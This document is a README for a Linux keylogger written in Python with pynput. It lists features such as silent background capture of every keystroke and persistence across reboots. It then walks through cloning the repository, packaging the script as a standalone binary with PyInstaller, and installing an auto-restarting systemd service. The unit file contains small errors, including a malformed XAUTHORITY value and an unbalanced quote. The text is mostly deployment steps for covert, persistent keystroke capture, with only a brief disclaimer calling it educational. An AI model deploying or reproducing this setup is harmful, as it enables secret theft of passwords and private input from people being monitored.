A simple Python-based keylogger for Linux systems using the pynput library. This script logs all keystrokes to a file for monitoring or educational purposes.
-
🔑 Key Press Logging Captures every key press on the keyboard in real time.
-
📅 Timestamped Logs Each keystroke is logged with an accurate timestamp using Python's logging module.
-
📂 Custom Log File Location Allows configuring a custom directory to store log files securely.
-
🖥️ Background Execution Runs silently in the background without interrupting the user session.
-
🔁 Persistent via systemd Can be configured as a systemd service to auto-start on boot for persistent logging.
-
🧩 Lightweight & Simple Minimal dependencies and easy-to-understand Python code using the pynput library.
-
🪪 X Authority Support Uses DISPLAY and XAUTHORITY environment variables to run under a GUI session context (important for keylogging on X11 systems).
-
💻 Cross-Compatible with Linux Desktops Works on most Linux distributions that use the X Window System.
- Python 3.x
-
Clone this repository:
git clone https://github.com/Joshua-Fernando/keylogger cd keylogger -
Create venv and install requirements:
python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
- Set the logging directory inside keylogger.py (
log_dir = "/Path/To/Store/Log/File/") - Run the script:
python keylogger.py
1.Create Standalone executabe binary file
pyinstaller --noconfirm --onefile --console "keylogger.py"1.Create a myservice.service file
cd /etc/systemd/system
touch keylogger.serviceNote: Ensure to be sudo user
2.Create the service script
[Unit]
Description=Keylogger Startup Script
After=graphical.target
StartLimitIntervalSec=5
[Service]
Type=simple
ExecStart=/bin/bash -c 'DISPLAY=:1 XAUTHORITY=/run/user/1000/gdm/Xauthority "/Path/To/keylogger'
User=kali
Environment=DISPLAY=:1
Environment=XAUTHORITY=XAUTHORITY/run/user/1000/gdm/Xauthority
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.targetNote: Find the Display patha and XAuthority
echo $DISPLAY
echo $XAUTHORITY3.Enable and Start the Service
systemctl daemon-reload
systemctl enable keylogger.service
systemctl start keylogger.service3.Verify the configuration
systemctl status keylogger.serviceThis script is intended for educational and ethical penetration testing purposes only. Unauthorized usage against systems you do not own or have explicit permission to test is illegal.
Pull requests are welcome! Feel free to improve the script by optimizing performance or adding new features.
Joshua Fernando